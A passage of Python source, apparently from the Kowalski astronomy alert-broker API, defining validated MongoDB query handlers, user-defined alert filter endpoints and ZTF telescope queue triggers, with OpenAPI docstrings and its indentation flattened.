# change password:
if len(password) != 0:
await request.app["mongo"].users.update_one(
{"_id": username},
{
"$set": {"password": generate_password_hash(password)},
"$currentDate": {"last_modified": True},
},
)
return web.json_response(
{"status": "success", "message": f"edited user {_id}"}, status=200
)
except Exception as _e:
return web.json_response(
{"status": "error", "message": f"failed to edit user: {_e}"}, status=500
)
""" queries """
SYSTEM_COLLECTIONS = ("users", "filters", "queries")
QUERY_TYPES = (
"cone_search",
"count_documents",
"estimated_document_count",
"find",
"find_one",
"aggregate",
"info",
"near",
)
INFO_COMMANDS = (
"catalog_names",
"catalog_info",
"index_info",
"db_info",
)
FORBIDDEN_STAGES_QUERIES = {"$unionWith", "$out", "$merge"}
FORBIDDEN_STAGES_FILTERS = {"$lookup", "$unionWith", "$out", "$merge"}
ANGULAR_UNITS = ("arcsec", "arcmin", "deg", "rad")
class Query(Model, ABC):
"""Data model for queries for streamlined validation"""
query_type: str
query: Mapping
kwargs: dict = dict()
user: str
@staticmethod
def construct_filter(query: Mapping):
"""Check validity of query filter specs and preprocess if necessary
:param query: Mapping containing filter specification either as a Mapping or a literal_eval'uable str
:return:
"""
catalog_filter = query.get("filter")
if not isinstance(catalog_filter, (str, Mapping)):
raise ValueError("Unsupported filter specification")
if isinstance(catalog_filter, str):
# passed string? evaluate:
catalog_filter = literal_eval(catalog_filter.strip())
return catalog_filter
@staticmethod
def construct_projection(query):
"""Check validity of query projection specs and preprocess if necessary
:param query: Mapping containing projection specification either as a Mapping or a literal_eval'uable str
:return:
"""
catalog_projection = query.get("projection")
if catalog_projection is not None:
if not isinstance(catalog_projection, (str, Mapping)):
raise ValueError("Unsupported projection specification")
if isinstance(catalog_projection, str):
# passed string? evaluate:
catalog_projection = literal_eval(catalog_projection.strip())
else:
catalog_projection = dict()
return catalog_projection
@staticmethod
def angle_to_rad(angle: Union[float, int], units: str) -> float:
"""Convert angle to rad
:param angle: angle [deg]
:param units: str, one of ["arcsec", "arcmin", "deg"]
:return:
"""
angle_rad = float(angle)
if units not in ANGULAR_UNITS:
raise Exception(f"Angular units not in {ANGULAR_UNITS}")
if units == "arcsec":
angle_rad *= np.pi / 180 / 3600
elif units == "arcmin":
angle_rad *= np.pi / 180 / 60
elif units == "deg":
angle_rad *= np.pi / 180
return angle_rad
@staticmethod
def parse_object_coordinates(coordinates: Union[str, Sequence, Mapping]):
"""
Parse object coordinates in degrees/HMS_DMS
:param coordinates: object coordinates in decimal degrees
or strings "HH:MM:SS.SSS..." / "DD:MM:SS.SSS..."
or strings "HHhMMmSS.SSS...s" / "DDdMMmSS.SSS...s"
Options:
- str that is parsed either as ra dec for a single source or stringified Sequence, as below
- Sequence, such as [(ra1, dec1), (ra2, dec2), ..]
- Mapping, such as {'object_name': (ra1, dec1), ...}
:return:
"""
if isinstance(coordinates, str):
coordinates = coordinates.strip()
# comb coordinates for a single source:
if not coordinates.startswith(("[", "(", "{")):
a, b = coordinates.split()
if ("s" in coordinates) or (":" in coordinates):
coordinates = f"[('{a}', '{b}')]"
else:
coordinates = f"[({a}, {b})]"
coordinates = literal_eval(coordinates)
if isinstance(coordinates, Sequence):
object_coordinates = coordinates
# use coords as source ids replacing dots to keep Mongo happy:
object_names = [
str(obj_crd).replace(".", "_") for obj_crd in object_coordinates
]
elif isinstance(coordinates, Mapping):
object_names, object_coordinates = zip(*coordinates.items())
object_names = list(map(str, object_names))
object_names = [
object_name.replace(".", "_") for object_name in object_names
]
else:
raise ValueError("Unsupported object coordinate specs")
return object_names, object_coordinates
@staticmethod
def validate_kwargs(kwargs: Mapping, known_kwargs: Sequence) -> dict:
"""Allow only known kwargs:
check that kwargs.keys() are in known_kwargs and ditch those that are not
:param kwargs:
:param known_kwargs:
:return:
"""
return {
kk: vv
for kk, vv in kwargs.items()
if kk in [*known_kwargs, "max_time_ms", "comment"]
}
@root_validator
def check_query(cls, values):
"""Validate query and preprocess it if necessary"""
query_type = values.get("query_type")
query = values.get("query")
kwargs = values.get("kwargs")
user = values.get("user")
if query_type not in QUERY_TYPES:
raise KeyError(f"query_type {query_type} not in {str(QUERY_TYPES)}")
# this way, username will be propagated into mongodb's logs
kwargs["comment"] = user
if query.get("catalog") is not None:
catalog = query.get("catalog").strip()
if catalog in SYSTEM_COLLECTIONS and not is_admin(user):
raise ValueError("Protected collection")
if query.get("catalogs") is not None:
catalogs = query.get("catalogs")
for catalog in catalogs:
if catalog in SYSTEM_COLLECTIONS and not is_admin(user):
raise ValueError("Protected collection")
if query_type == "aggregate":
pipeline = query.get("pipeline")
if (not isinstance(pipeline, str)) and (not isinstance(pipeline, Sequence)):
raise ValueError("Unsupported pipeline specification")
if isinstance(pipeline, str):
# passed string? evaluate:
pipeline = literal_eval(pipeline.strip())
if len(pipeline) == 0:
raise ValueError("Pipeline must contain at least one stage")
stages = set([list(stage.keys())[0] for stage in pipeline])
if len(stages.intersection(FORBIDDEN_STAGES_QUERIES)):
raise ValueError(
f"Pipeline uses forbidden stages: {str(stages.intersection(FORBIDDEN_STAGES_QUERIES))}"
)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("allowDiskUse", "batchSize")
)
values["kwargs"] = kwargs
values["query"]["pipeline"] = pipeline
elif query_type == "cone_search":
# apply filter before positional query?
filter_first = kwargs.get("filter_first", False)
# cone search radius:
cone_search_radius = cls.angle_to_rad(
angle=query["object_coordinates"]["cone_search_radius"],
units=query["object_coordinates"]["cone_search_unit"],
)
object_names, object_coordinates = cls.parse_object_coordinates(
query["object_coordinates"]["radec"]
)
# reshuffle query to ease execution on Mongo side
query_preprocessed = dict()
for catalog in query["catalogs"]:
catalog = catalog.strip()
query_preprocessed[catalog] = dict()
# specifying filter is optional in this case
if "filter" in query["catalogs"][catalog]:
catalog_filter = cls.construct_filter(query["catalogs"][catalog])
else:
catalog_filter = dict()
# construct projection, which is always optional
catalog_projection = cls.construct_projection(
query["catalogs"][catalog]
)
# parse coordinate list
for oi, obj_crd in enumerate(object_coordinates):
# convert ra/dec into GeoJSON-friendly format
_ra, _dec = radec_str2geojson(*obj_crd)
object_position_query = dict()
object_position_query["coordinates.radec_geojson"] = {
"$geoWithin": {
"$centerSphere": [[_ra, _dec], cone_search_radius]
}
}
# use stringified object coordinates as dict keys and merge dicts with cat/obj queries:
if not filter_first:
query_preprocessed[catalog][object_names[oi]] = (
{**object_position_query, **catalog_filter},
{**catalog_projection},
)
else:
# place the filter expression in front of the positional query?
# this may be useful if an index exists to speed up the query
query_preprocessed[catalog][object_names[oi]] = (
{**catalog_filter, **object_position_query},
{**catalog_projection},
)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit", "sort")
)
values["kwargs"] = kwargs
values["query"] = query_preprocessed
elif query_type == "count_documents":
values["query"]["filter"] = cls.construct_filter(query)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit")
)
values["kwargs"] = kwargs
elif query_type == "find":
# construct filter
values["query"]["filter"] = cls.construct_filter(query)
# construct projection
values["query"]["projection"] = cls.construct_projection(query)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit", "sort")
)
values["kwargs"] = kwargs
elif query_type == "find_one":
values["query"]["filter"] = cls.construct_filter(query)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit", "sort")
)
values["kwargs"] = kwargs
elif query_type == "info":
command = query.get("command")
if command not in INFO_COMMANDS:
raise KeyError(f"command {command} not in {str(INFO_COMMANDS)}")
elif query_type == "near":
# apply filter before positional query?
filter_first = kwargs.get("filter_first", False)
min_distance = cls.angle_to_rad(
angle=query.get("min_distance", 0),
units=query.get("distance_units", "rad"),
)
max_distance = cls.angle_to_rad(
angle=query.get("max_distance", np.pi / 180 / 60), # default to 1'
units=query.get("distance_units", "rad"),
)
object_names, object_coordinates = cls.parse_object_coordinates(
query["radec"]
)
# reshuffle query to ease execution on Mongo side
query_preprocessed = dict()
for catalog in query["catalogs"]:
catalog = catalog.strip()
query_preprocessed[catalog] = dict()
# specifying filter is optional in this case
if "filter" in query["catalogs"][catalog]:
catalog_filter = cls.construct_filter(query["catalogs"][catalog])
else:
catalog_filter = dict()
# construct projection, which is always optional
catalog_projection = cls.construct_projection(
query["catalogs"][catalog]
)
# parse coordinate list
for oi, obj_crd in enumerate(object_coordinates):
# convert ra/dec into GeoJSON-friendly format
_ra, _dec = radec_str2geojson(*obj_crd)
object_position_query = dict()
object_position_query["coordinates.radec_geojson"] = {
"$nearSphere": [_ra, _dec],
"$minDistance": min_distance,
"$maxDistance": max_distance,
}
# use stringified object coordinates as dict keys and merge dicts with cat/obj queries:
if not filter_first:
query_preprocessed[catalog][object_names[oi]] = (
{**object_position_query, **catalog_filter},
{**catalog_projection},
)
else:
# place the filter expression in front of the positional query?
# this may be useful if an index exists to speed up the query
query_preprocessed[catalog][object_names[oi]] = (
{**catalog_filter, **object_position_query},
{**catalog_projection},
)
kwargs = cls.validate_kwargs(
kwargs=kwargs, known_kwargs=("skip", "hint", "limit", "sort")
)
values["kwargs"] = kwargs
values["query"] = query_preprocessed
return values
class QueryHandler(Handler):
"""Handlers to work with user queries"""
@auth_required
async def post(self, request: web.Request) -> web.Response:
"""Query Kowalski
---
summary: Query Kowalski
tags:
- queries
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- query_type
- query
properties:
query_type:
type: string
enum:
- aggregate
- cone_search
- count_documents
- estimated_document_count
- find
- find_one
- info
- near
query:
type: object
description: query. depends on query_type, see examples
oneOf:
- $ref: "#/components/schemas/aggregate"
- $ref: "#/components/schemas/cone_search"
- $ref: "#/components/schemas/count_documents"
- $ref: "#/components/schemas/estimated_document_count"
- $ref: "#/components/schemas/find"
- $ref: "#/components/schemas/find_one"
- $ref: "#/components/schemas/info"
- $ref: "#/components/schemas/near"
kwargs:
type: object
description: additional parameters. depends on query_type, see examples
oneOf:
- $ref: "#/components/schemas/aggregate_kwargs"
- $ref: "#/components/schemas/cone_search_kwargs"
- $ref: "#/components/schemas/count_documents_kwargs"
- $ref: "#/components/schemas/estimated_document_count_kwargs"
- $ref: "#/components/schemas/find_kwargs"
- $ref: "#/components/schemas/find_one_kwargs"
- $ref: "#/components/schemas/info_kwargs"
- $ref: "#/components/schemas/near_kwargs"
examples:
aggregate:
value:
"query_type": "aggregate"
"query": {
"catalog": "ZTF_alerts",
"pipeline": [
{'$match': {'candid': 1105522281015015000}},
{"$project": {"_id": 0, "candid": 1, "candidate.drb": 1}}
],
}
"kwargs": {
"max_time_ms": 2000
}
cone_search:
value:
"query_type": "cone_search"
"query": {
"object_coordinates": {
"cone_search_radius": 2,
"cone_search_unit": "arcsec",
"radec": {"object1": [71.6577756, -10.2263957]}
},
"catalogs": {
"ZTF_alerts": {
"filter": {},
"projection": {"_id": 0, "candid": 1, "objectId": 1}
}
}
}
"kwargs": {
"filter_first": False
}
find:
value:
"query_type": "find"
"query": {
"catalog": "ZTF_alerts",
"filter": {'candidate.drb': {"$gt": 0.9}},
"projection": {"_id": 0, "candid": 1, "candidate.drb": 1},
}
"kwargs": {
"sort": [["$natural", -1]],
"limit": 2
}
find_one:
value:
"query_type": "find_one"
"query": {
"catalog": "ZTF_alerts",
"filter": {}
}
info:
value:
"query_type": "info"
"query": {
"command": "catalog_names"
}
count_documents:
value:
"query_type": "count_documents"
"query": {
"catalog": "ZTF_alerts",
"filter": {"objectId": "ZTF20aakyoez"}
}
estimated_document_count:
value:
"query_type": "estimated_document_count"
"query": {
"catalog": "ZTF_alerts"
}
near:
value:
"query_type": "near"
"query": {
"max_distance": 30,
"distance_units": "arcsec",
"radec": {"object1": [71.6577756, -10.2263957]},
"catalogs": {
"ZTF_alerts": {
"filter": {},
"projection": {"_id": 0, "candid": 1, "objectId": 1}
}
}
}
"kwargs": {
"limit": 1
}
responses:
'200':
description: query result
content:
application/json:
schema:
type: object
required:
- user
- message
- status
properties:
status:
type: string
enum: [success]
message:
type: string
user:
type: string
kwargs:
type: object
data:
oneOf:
- type: number
- type: array
- type: object
examples:
aggregate:
value:
"status": "success"
"message": "Successfully executed query"
"data": [
{
"candid": 1105522281015015000,
"candidate": {
"drb": 0.999999463558197
}
}
]
cone_search:
value:
"status": "success"
"message": "Successfully executed query"
"data": {
"ZTF_alerts": {
"object1": [
{"objectId": "ZTF20aaelulu",
"candid": 1105522281015015000}
]
}
}
find:
value:
"status": "success"
"message": "Successfully executed query"
"data": [
{
"candid": 1127561444715015009,
"candidate": {
"drb": 0.9999618530273438
}
},
{
"candid": 1127107111615015007,
"candidate": {
"drb": 0.9986417293548584
}
}
]
info:
value:
"status": "success"
"message": "Successfully executed query"
"data": [
"ZTF_alerts_aux",
"ZTF_alerts"
]
count_documents:
value:
"status": "success"
"message": "Successfully executed query"
"data": 1
estimated_document_count:
value:
"status": "success"
"message": "Successfully executed query"
"data": 11
near:
value:
"status": "success"
"message": "Successfully executed query"
"data": {
"ZTF_alerts": {
"object1": [
{"objectId": "ZTF20aaelulu",
"candid": 1105522281015015000}
]
}
}
'400':
description: query parsing/execution error
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
unknown query type:
value:
status: error
message: "query_type not in ('cone_search', 'count_documents', 'estimated_document_count', 'find', 'find_one', 'aggregate', 'info')"
random error:
value:
status: error
message: "failure: <error message>"
"""
# allow both .json() and .post():
try:
query_spec = await request.json()
except AttributeError:
query_spec = await request.post()
# this is set by auth_middleware
query_spec["user"] = request.user
# validate and preprocess
query = Query(**query_spec)
# by default, long-running queries will be killed after config['misc']['max_time_ms'] ms
max_time_ms = int(
query.kwargs.get("max_time_ms", config["misc"]["max_time_ms"])
)
if max_time_ms < 1:
raise ValueError("max_time_ms must be int >= 1")
query.kwargs.pop("max_time_ms", None)
# execute query, depending on query.query_type
data = dict()
if query.query_type in ("cone_search", "near"):
# iterate over catalogs
for catalog in query.query:
data[catalog] = dict()
# iterate over objects:
for obj in query.query[catalog]:
# project?
if len(query.query[catalog][obj][1]) > 0:
cursor = request.app["mongo"][catalog].find(
query.query[catalog][obj][0],
query.query[catalog][obj][1],
max_time_ms=max_time_ms,
**query.kwargs,
)
# return the whole documents by default
else:
cursor = request.app["mongo"][catalog].find(
query.query[catalog][obj][0],
max_time_ms=max_time_ms,
**query.kwargs,
)
data[catalog][obj] = await cursor.to_list(length=None)
if query.query_type == "find":
catalog = query.query["catalog"]
catalog_filter = query.query["filter"]
catalog_projection = query.query["projection"]
# project?
if len(catalog_projection) > 0:
cursor = request.app["mongo"][catalog].find(
catalog_filter,
catalog_projection,
max_time_ms=max_time_ms,
**query.kwargs,
)
# return the whole documents by default
else:
cursor = request.app["mongo"][catalog].find(
catalog_filter,
max_time_ms=max_time_ms,
**query.kwargs,
)
if isinstance(cursor, (int, float, Sequence, Mapping)) or (cursor is None):
data = cursor
else:
data = await cursor.to_list(length=None)
if query.query_type == "find_one":
catalog = query.query["catalog"]
cursor = request.app["mongo"][catalog].find_one(
query.query["filter"],
max_time_ms=max_time_ms,
)
data = await cursor
if query.query_type == "count_documents":
catalog = query.query["catalog"]
cursor = request.app["mongo"][catalog].count_documents(
query.query["filter"],
maxTimeMS=max_time_ms,
)
data = await cursor
if query.query_type == "estimated_document_count":
catalog = query.query["catalog"]
cursor = request.app["mongo"][catalog].estimated_document_count(
maxTimeMS=max_time_ms,
)
data = await cursor
if query.query_type == "aggregate":
catalog = query.query["catalog"]
pipeline = query.query["pipeline"]
cursor = request.app["mongo"][catalog].aggregate(
pipeline,
allowDiskUse=query.kwargs.get("allowDiskUse", True),
maxTimeMS=max_time_ms,
)
data = await cursor.to_list(length=None)
if query.query_type == "info":
if query.query["command"] == "catalog_names":
# get available catalog names
catalog_names = await request.app["mongo"].list_collection_names()
data = [
catalog_name
for catalog_name in sorted(catalog_names)[::-1]
if catalog_name not in SYSTEM_COLLECTIONS
]
elif query.query["command"] == "catalog_info":
catalog = query.query["catalog"]
data = await request.app["mongo"].command("collstats", catalog)
elif query.query["command"] == "index_info":
catalog = query.query["catalog"]
data = await request.app["mongo"][catalog].index_information()
elif query.query["command"] == "db_info":
data = await request.app["mongo"].command("dbstats")
return self.success(message="Successfully executed query", data=data)
""" filters """
class FilterVersion(EmbeddedModel, ABC):
"""Data model for Filter versions"""
fid: str = Field(default_factory=uid)
pipeline: str
created_at: datetime.datetime = Field(default_factory=datetime.datetime.utcnow)
@root_validator
def check_min_stages(cls, values):
pipeline = values.get("pipeline")
if len(loads(pipeline)) == 0: # it is stored as a string
raise ValueError("pipeline must contain at least one stage")
return values
@root_validator
def check_forbidden_stages(cls, values):
pipeline = values.get("pipeline")
# check that only allowed stages are used in the pipeline
stages = set([list(stage.keys())[0] for stage in loads(pipeline)])
if len(stages.intersection(FORBIDDEN_STAGES_FILTERS)):
raise ValueError(
f"pipeline uses forbidden stages: {str(stages.intersection(FORBIDDEN_STAGES_FILTERS))}"
)
return values
class Config:
json_dumps = dumps
json_loads = loads
parse_doc_with_default_factories = True
class Filter(Model, ABC):
"""Data model for Filters"""
filter_id: int = Field(ge=1)
group_id: int = Field(ge=1)
catalog: str
permissions: List
autosave: bool = False
active: bool = True
update_annotations: bool = False
active_fid: Optional[str] = Field(min_length=6, max_length=6)
fv: List[FilterVersion] = list()
created_at: datetime.datetime = Field(default_factory=datetime.datetime.utcnow)
last_modified: datetime.datetime = Field(default_factory=datetime.datetime.utcnow)
class Config:
# collection name in MongoDB
collection = "filters"
json_dumps = dumps
json_loads = loads
parse_doc_with_default_factories = True
class FilterHandler(Handler):
"""Handlers to work with user-defined alert filters"""
@admin_required
async def get(self, request: web.Request) -> web.Response:
"""Retrieve filter by filter_id
:param request:
:return:
---
summary: Retrieve user-defined filters
tags:
- filters
parameters:
- in: query
name: filter_id
description: filter id
required: true
schema:
type: integer
minimum: 1
responses:
'200':
description: retrieved filter data
content:
application/json:
schema:
type: object
required:
- status
- message
- data
properties:
status:
type: string
enum: [success]
message:
type: string
data:
type: object
example:
"status": "success"
"message": "Retrieved filter id 1"
"data": {
"group_id": 1,
"filter_id": 1,
"catalog": "ZTF_alerts",
"permissions": [1, 2],
"autosave": false,
"update_annotations": false,
"active": true,
"active_fid": "nnsun9",
"fv": [
"fid": "nnsun9",
"pipeline": "<serialized extended json string>",
"created": {
"$date": 1584403506877
}
]
}
'400':
description: retrieval failed or internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failure: <error message>"
"""
filter_id = int(request.match_info["filter_id"])
filtr = await request.app["mongo_odm"].find_one(
Filter, Filter.filter_id == filter_id
)
if filtr is not None:
return self.success(
message=f"Retrieved filter id {filter_id}", data=filtr.doc()
)
return self.error(message=f"Filter id {filter_id} not found")
@admin_required
async def post(self, request: web.Request) -> web.Response:
"""Post user-defined alert filter, or a new version thereof
- store pipeline as serialized extended json string,
to be used with literal_eval to convert to dict at execution
- run a simple sanity check before saving
---
summary: Post user-defined alert filter, or a new version thereof
tags:
- filters
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- group_id
- filter_id
- catalog
- permissions
- pipeline
properties:
group_id:
type: integer
description: "[fritz] user group (science program) id"
minimum: 1
filter_id:
type: integer
description: "[fritz] science program filter id for this user group id"
minimum: 1
catalog:
type: string
description: "alert stream to filter"
enum: [ZTF_alerts, ZUDS_alerts]
permissions:
type: array
items:
type: integer
description: "permissions to access streams"
minItems: 1
autosave:
type: boolean
description: "automatically save passing alerts to group <group_id>"
default: false
update_annotations:
type: boolean
description: "update existing annotations for newly passing alerts"
default: false
pipeline:
type: array
items:
type: object
description: "user-defined aggregation pipeline stages in MQL"
minItems: 1
examples:
filter_1:
value:
"group_id": 1
"filter_id": 1
"catalog": ZTF_alerts
"permissions": [1, 2]
"pipeline": [
{
"$match": {
"candidate.drb": {
"$gt": 0.9999
},
"cross_matches.CLU_20190625.0": {
"$exists": False
}
}
},
{
"$addFields": {
"annotations.author": "dd",
"annotations.mean_rb": {"$avg": "$prv_candidates.rb"}
}
},
{
"$project": {
"_id": 0,
"candid": 1,
"objectId": 1,
"annotations": 1
}
}
]
filter_2:
value:
"group_id": 2
"filter_id": 1
"catalog": ZTF_alerts
"permissions": [1, 2, 3]
"autosave": true
"update_annotations": false
"pipeline": [
{
"$match": {
"candidate.drb": {
"$gt": 0.9999
},
"cross_matches.CLU_20190625.0": {
"$exists": True
}
}
},
{
"$addFields": {
"annotations.author": "dd",
"annotations.mean_rb": {"$avg": "$prv_candidates.rb"}
}
},
{
"$project": {
"_id": 0,
"candid": 1,
"objectId": 1,
"annotations": 1
}
}
]
responses:
'200':
description: filter successfully saved
content:
application/json:
schema:
type: object
required:
- status
- message
- data
properties:
status:
type: string
enum: [success]
message:
type: string
user:
type: string
data:
description: "contains unique filter identifier"
type: object
additionalProperties:
type: object
properties:
fid:
type: string
description: "generated unique filter identifier"
minLength: 6
maxLength: 6
example:
"status": "success"
"message": "saved filter: c3ig1t"
"data": {
"fid": "c3ig1t"
}
'400':
description: filter parsing/testing/saving error
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failure: <error message>"
"""
# allow both .json() and .post():
try:
filter_spec = await request.json()
except AttributeError:
filter_spec = await request.post()
filter_new = Filter(**filter_spec)
# check if a filter for these (group_id, filter_id) already exists:
filter_existing = await request.app["mongo_odm"].find_one(
Filter,
Filter.filter_id == filter_new.filter_id,
Filter.group_id == filter_new.group_id,
)
# new filter version:
pipeline = filter_spec.get("pipeline")
if not isinstance(pipeline, str):
pipeline = dumps(pipeline)
filter_version = FilterVersion(pipeline=pipeline)
try:
# try on most recently ingested alert to check correctness
n_docs = await request.app["mongo"][
filter_new.catalog
].estimated_document_count()
log(f"Found {n_docs} documents in {filter_new.catalog} collection")
if n_docs > 0:
# get latest candid:
select = (
request.app["mongo"][filter_new.catalog]
.find({}, {"_id": 0, "candid": 1})
.sort([("$natural", -1)])
.limit(1)
)
alert = await select.to_list(length=1)
alert = alert[0]
# filter pipeline upstream: select current alert, ditch cutouts, and merge with aux data
# including archival photometry and cross-matches:
filter_pipeline_upstream = config["database"]["filters"][
filter_new.catalog
]
filter_template = filter_pipeline_upstream + loads(
filter_version.pipeline
)
# match candid
filter_template[0]["$match"]["candid"] = alert["candid"]
# match permissions for ZTF
if filter_new.catalog.startswith("ZTF"):
filter_template[0]["$match"]["candidate.programid"][
"$in"
] = filter_new.permissions
filter_template[3]["$project"]["prv_candidates"]["$filter"]["cond"][
"$and"
][0]["$in"][1] = filter_new.permissions
cursor = request.app["mongo"][filter_new.catalog].aggregate(
filter_template, allowDiskUse=False, maxTimeMS=3000
)
await cursor.to_list(length=None)
test_successful, test_message = (
True,
f"pipeline test for filter id {filter_new.filter_id} successful",
)
log(test_message)
else:
test_successful, test_message = (
True,
f"WARNING: No documents in {filter_new.catalog} collection, "
f"cannot properly test pipeline for filter id {filter_new.filter_id}",
)
log(test_message)
except Exception as e:
log(e)
test_successful, test_message = False, str(e)
if not test_successful:
return self.error(message=test_message)
# if a filter does not exist for (filter_id, group_id), create one:
if filter_existing is None:
filter_new.fv.append(filter_version)
filter_new.active_fid = filter_version.fid
filter_new.last_modified = datetime.datetime.now()
await request.app["mongo_odm"].save(filter_new)
else:
# already exists? push new filter version and reset active_fid:
filter_existing.fv.append(filter_version)
filter_existing.active_fid = filter_version.fid
filter_existing.last_modified = datetime.datetime.now()
# note: filters are defined on streams on SkyPortal,
# with non-modifiable catalog and permissions parameters, so it should not be possible to modify such here
await request.app["mongo_odm"].save(filter_existing)
return self.success(
message=test_message + f"\nsaved new filter version: {filter_version.fid}",
data=filter_version.doc(),
)
@admin_required
async def patch(self, request: web.Request) -> web.Response:
"""Update user-defined filter
:param request:
:return:
---
summary: "Modify existing filters: activate/deactivate, set active_fid, autosave, or update_annotations"
tags:
- filters
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- filter_id
properties:
filter_id:
type: integer
description: "[fritz] filter id for this group id"
minimum: 1
active:
type: boolean
description: "activate or deactivate filter"
active_fid:
description: "set fid as active version"
type: string
minLength: 6
maxLength: 6
autosave:
type: boolean
description: "autosave candidates that pass filter to corresponding group?"
update_annotations:
type: boolean
description: "update annotations for new candidates that previously passed filter?"
examples:
filter_1:
value:
"filter_id": 1
"active": false
filter_2:
value:
"filter_id": 5
"active_fid": "r7qiti"
filter_3:
value:
"filter_id": 1
"autosave": true
filter_4:
value:
"filter_id": 1
"update_annotations": true
responses:
'200':
description: filter updated
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: "updated filter id 1"
data:
active: false
'400':
description: filter not found or removal failed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
filter not found:
value:
status: error
message: Filter id 1 not found
"""
# allow both .json() and .post():
try:
filter_spec = await request.json()
except AttributeError:
filter_spec = await request.post()
filter_id = filter_spec.get("filter_id")
# check if a filter for these (group_id, filter_id) already exists:
filter_existing = await request.app["mongo_odm"].find_one(
Filter, Filter.filter_id == filter_id
)
if filter_existing is None:
return self.error(message=f"Filter id {filter_id} not found")
filter_doc = filter_existing.doc()
# note: partial model loading is not (yet?) available in odmantic + need a custom check on active_fid
for modifiable_field in (
"active",
"active_fid",
"autosave",
"update_annotations",
):
value = filter_spec.get(modifiable_field)
if value is not None:
if modifiable_field == "active_fid" and value not in [
filter_version["fid"] for filter_version in filter_doc["fv"]
]:
raise ValueError(
f"Cannot set active_fid to {value}: filter version fid not in filter.fv"
)
filter_doc[modifiable_field] = value
filter_existing = Filter.parse_doc(filter_doc)
await request.app["mongo_odm"].save(filter_existing)
return self.success(
message=f"Updated filter id {filter_id}", data=filter_existing.doc()
)
@admin_required
async def delete(self, request: web.Request) -> web.Response:
"""Delete user-defined filter for (group_id, filter_id) altogether
:param request:
:return:
---
summary: Delete user-defined filter by filter_id
tags:
- filters
parameters:
- in: query
name: filter_id
description: filter id
required: true
schema:
type: integer
minimum: 1
responses:
'200':
description: filter removed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: "Removed filter for group_id=1, filter_id=1"
'400':
description: filter not found or removal failed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
filter not found:
value:
status: error
message: Filter id 1 not found
"""
filter_id = int(request.match_info["filter_id"])
r = await request.app["mongo"].filters.delete_one({"filter_id": filter_id})
if r.deleted_count != 0:
return self.success(message=f"Removed filter id {filter_id}")
return self.error(message=f"Filter id {filter_id} not found")
class ZTFTrigger(Model, ABC):
"""Data model for ZTF trigger for streamlined validation"""
queue_name: str
validity_window_mjd: List[float]
targets: List[dict]
queue_type: str
user: str
class ZTFDelete(Model, ABC):
"""Data model for ZTF queue deletion for streamlined validation"""
queue_name: str
user: str
class ZTFTriggerHandler(Handler):
"""Handlers to work with ZTF triggers"""
def __init__(self, test: bool = False):
"""Constructor for ZTF trigger class
:param test: is this a test trigger?
:return:
"""
self.test = test
@admin_required
async def get(self, request: web.Request) -> web.Response:
"""Retrieve ZTF queue
:param request:
:return:
---
summary: Get ZTF queue
tags:
- triggers
requestBody:
required: true
content:
application/json:
schema:
type: object
responses:
'200':
description: queue retrieved
content:
application/json:
schema:
type: object
'400':
description: query parsing/execution error
content:
application/json:
schema:
type: object
"""
if self.test:
return self.success(message="submitted")
server = SSHTunnelForwarder(
(config["ztf"]["mountain_ip"], config["ztf"]["mountain_port"]),
ssh_username=config["ztf"]["mountain_username"],
ssh_password=config["ztf"]["mountain_password"],
remote_bind_address=(
config["ztf"]["mountain_bind_ip"],
config["ztf"]["mountain_bind_port"],
),
)
server.start()
url = f"http://{server.local_bind_address[0]}:{server.local_bind_address[1]}/queues"
async with ClientSession() as client_session:
async with client_session.get(url, json={}, timeout=10) as response:
response_json = await response.json()
server.stop()
if response.status == 200:
return self.success(message="retrieved", data=response_json)
return self.error(message=f"ZTF queue query attempt rejected: {response.text}")
@admin_required
async def put(self, request: web.Request) -> web.Response:
"""Trigger ZTF
:param request:
:return:
---
summary: Trigger ZTF
tags:
- triggers
requestBody:
required: true
content:
application/json:
schema:
type: object
responses:
'200':
description: queue submitted
content:
application/json:
schema:
type: object
'400':
description: query parsing/execution error
content:
application/json:
schema:
type: object
"""
_data = await request.json()
# validate
ZTFTrigger(**_data)
if self.test:
return self.success(message="submitted")
server = SSHTunnelForwarder(
(config["ztf"]["mountain_ip"], config["ztf"]["mountain_port"]),
ssh_username=config["ztf"]["mountain_username"],
ssh_password=config["ztf"]["mountain_password"],
remote_bind_address=(
config["ztf"]["mountain_bind_ip"],
config["ztf"]["mountain_bind_port"],
),
)
server.start()
url = f"http://{server.local_bind_address[0]}:{server.local_bind_address[1]}/queues"
async with ClientSession() as client_session:
response = await client_session.put(url, json=_data, timeout=10)
server.stop()
if response.status == 201:
return self.success(message="submitted", data=dict(response.headers))
elif response.status == 200:
data = dict(response.headers)
return self.error(
message=f"Submitted queue {data['queue_name']} already exists",
status=409,
)
return self.error(message=f"ZTF trigger attempt rejected: {response.text}")
@admin_required
async def delete(self, request: web.Request) -> web.Response:
"""Delete ZTF request
:param request:
:return:
---
summary: Delete ZTF request
tags:
- triggers
requestBody:
required: true
content:
application/json:
schema:
type: object
responses:
'200':
description: queue removed
content:
application/json:
schema:
type: object
'400':
description: query parsing/execution error
content:
application/json:
schema:
type: object
"""
_data = await request.json()
# validate and preprocess
ZTFDelete(**_data)
if self.test:
return self.success(message="deleted")
server = SSHTunnelForwarder(
